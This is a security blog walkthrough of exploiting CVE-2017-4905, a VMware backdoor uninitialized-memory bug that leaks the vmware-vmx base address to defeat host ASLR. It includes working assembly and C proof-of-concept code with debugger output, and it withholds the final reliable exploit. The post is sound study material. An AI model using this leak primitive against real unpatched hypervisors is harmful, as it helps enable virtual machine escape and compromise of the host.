OSCE3 | OSCE | OSCP
At the time of writing I am currently studying for my OSEE exam. Alongside the course material I am looking at past CVEs to see if I can exploit them myself. As I learn effectively by ‘teaching’ I have decided to post my walkthroughs of exploiting known CVEs.
Although the CVE I am starting with is featured briefly in the AWE course I am not going to exploit the bug in the exact same way, use any of the course code provided, or leak any of the course material! I am starting with this one because it looks pretty easy to exploit.
This CVE affected VMware ESXi 6.5 without patch ESXi650-201703410-SG, 6.0 U3 without patch ESXi600-201703401-SG, 6.0 U2 without patch ESXi600-201703403-SG, 6.0 U1 without patch ESXi600-201703402-SG, 5.5 without patch ESXi550-201703401-SG; Workstation Pro / Player 12.x prior to 12.5.5; and Fusion Pro / Fusion 8.x prior to 8.5.6 have uninitialized memory usage.
The CVE relies upon the backdoor functionality in VMWare and was presented in the AWE course. However, I wanted to implement the backdoor protocol myself, differrent to how it was implemented in the course. I wanted to code the backdoor protocol (at least the elements that trigger the bug) entirely in asm
.
The VMWare (now Broadcom) security advisory states “VMware would like to thank ZDI and Team Sniper from Tencent Security for reporting this issue to us”. So the best place to start is trying to find a PoC or details of the bug.
Tencent published A bunch of red pills VMWare escapes which contains the following statement:
“A buffer will be allocated on the stack when processing the backdoor requests. This buffer should be initialized in the BDOORHB callback. But when requesting invalid commands, the callback fails to properly clear the buffer, causing the uninitialized content of the stack buffer to be leaked to the guest. With this bug we can effectively defeat the ASLR of vmware-vmx running on the host.”
So, our task is to exploit this CVE to disclose the base address of vmware-vmx
.
If you are completely new to binary exploitation you may be asking “who cares if we can disclose data on the stack?”, the key part is to effectively defeat ASLR. Address Space Layout Randomization is a mitigation to prevent the exploitation of memory corruption vulnerabilities by randomising the location in memory where modules are loaded. In short this bug can be exploited alongside other bugs to gain code execution in VMWare running in the host OS as it reveales the location of where executable code is in the vmware-vmx
module.
This type of exploit is essential in virtual machine escapes. Imagine being able to escape the matrix and operate in the host world!
To write a backdoor protocol you need to include asm
in your Visual Studio project, because that is how it works, by sending privileged level assembly instructions which are caught and handled by VMWare. If you do not understand how to write asm
in your project check out my post on Exploring x64 Calling Conventions.
I have done my own research in the past about how the VMWare Backdoor protocol works, using a great resource published by Ken Kato: VMware Backdoor I/O Port.
I wrote a fully functioning VMWare Backdoor protocol on my GitHub pages. For this CVE we don’t actually have to implement the full protocol, just a high-bandwidth request with an invalid command, this is what I very quickly put together:
.CODE
BackdoorLeak PROC
; rcx contains the buffer address
; rdx contains the buffer size
; we will restore these later
push rbx
push rdi
; put the parameters in to the correct registers for VMWare
mov rdi, rcx ; move the buffer address in to rdi
mov rcx, rdx ; move the buffer size in to rcx
; make the high-bandwidth backdoor request
; -----------------------------------------------------------------------
mov rax, 0564D5868h ; Magic number 'VMXh'
mov rdx, 05659h ; Switch to high bandwidth
mov rbx, 000002h ; Magic number - this is an INVALID request/cmd
cld ; Make the request
rep insb ; Repeat string operation is used
; finally move the output buffer in to rdx
mov rdx, rdi
; restore the registers
pop rdi
pop rbx
ret
BackdoorLeak ENDP
END
To test the bug I wrote a small C
program to try and find out how the base address of the vmware-vmx
host is leaked:
#include <iostream>
#include "windows.h"
#define BUFFER_SIZE 0x08000
// our buffer is passed in to rcx, and the size of the buffer is passed in to rdx
extern "C" BOOL BackdoorLeak(byte* buffer, size_t size);
// this function will search the buffer, the intention is to search
// multiuple leaked buffers and look for a reliable pattern
void search_buffer(byte* buffer, size_t size) {
// the value we want to find - the base of vmware-vmx
ULONGLONG testValue = 0x00007ff76ba30000;
// the buffer to search
ULONGLONG* bufferBase = (ULONGLONG*)buffer;
ULONGLONG* offset = (ULONGLONG*)buffer;
// loop over the buffer looking for the test value
for (UINT i = 0; i < size / 8; i++)
{
if (testValue == (ULONGLONG)*offset++)
{
// if we find the base address we print the address and break in to WinDbg
printf("Value found at memory address: 0x%p\n", offset - 1);
DebugBreak();
}
}
}
int main()
{
// leak the buffer multiple times and search for a leak
for (int i = 0; i < 100; i++)
{
byte* buf = (byte*)VirtualAlloc(0, BUFFER_SIZE, MEM_COMMIT, PAGE_READWRITE);
memset(buf, 0, BUFFER_SIZE);
// leak the buffer using CVE-2017-4905
BackdoorLeak(buf, BUFFER_SIZE);
// search the buffer
search_buffer(buf, BUFFER_SIZE);
VirtualFree((void*)buf, BUFFER_SIZE, MEM_DECOMMIT);
}
return 0;
}
This should be pretty easy to understand. We allocate some memory of 0x8000
bytes, call our asm
function BackdoorLeak
which leaks 0x8000
bytes of data from vmware-vmx
into our buffer. We then do a search, in the search_buffer
function for a static value of 0x00007ff76ba30000
. Obviously in our final exploit this is the value we will be trying to leak and will not know it in advance. When developing our exploit we need to test our theories against known values, I used WinDbg in the host operating system to get the value of the vmware-vmx
base address:
0:014> lm m vmware_vmx
Browse full module list
start end module name
00007ff7`6ba30000 00007ff7`6d0bb000 vmware_vmx (deferred)
If the base address is found then the program would display the address it was found at, using the offset from our allocated memory, and break in to WinDbg.
I compiled the code, copied it to the guest OS, and ran it. This is what was displayed in the console:
I confirmed this in WinDbg:
0:000> dq 0x000001E52E967D68 L1
000001e5`2e967d68 00007ff7`6ba30000
This confirms that CVE-2017-4905 leaks the base address of vmware-vmx
and we can use a simple set of assembly instructions to do this. My next task was to find a reliable way to leak the address.
I thought about how I could reliably exploit the bug. I carried out a lot of different tests by locating the known vmware-vmx
base address in the leaked buffer and trying to find a reliable offset for it. There was also many pointers within vmware-vmx
being leaked. It also turns out that this can be used with a very high-level of, if not 100%, predictability; the only difference is you would need to pick a pointer, calculate the offset from the vmware-vmx
base address and find a reliable offset to where it was often leaked.
Here is my final running exploit:
The technique I used to locate the base address is very similar to the one presented on the AWE course so I will not publish it here without the fear of leaking course material.
I had done some research several months ago around how the VMWare Backdoor protocol worked and I wanted to implement my own assembly code to exploit CVE-2017-4905. This was really helpful to me in understanding how information disclosure bugs can be exploited to leak memory addresses that shouldn’t be readable. The icing on the cake was using my backdoor code to reliably leak memory from vmware-vmx
. Unfortunately I cannot publish the final exploit as it is too similar to the one presented by OffSec.
Feel free to leave comments or questions for this blog post. Please be respectful, I will moderate comments and reserve the right to remove them.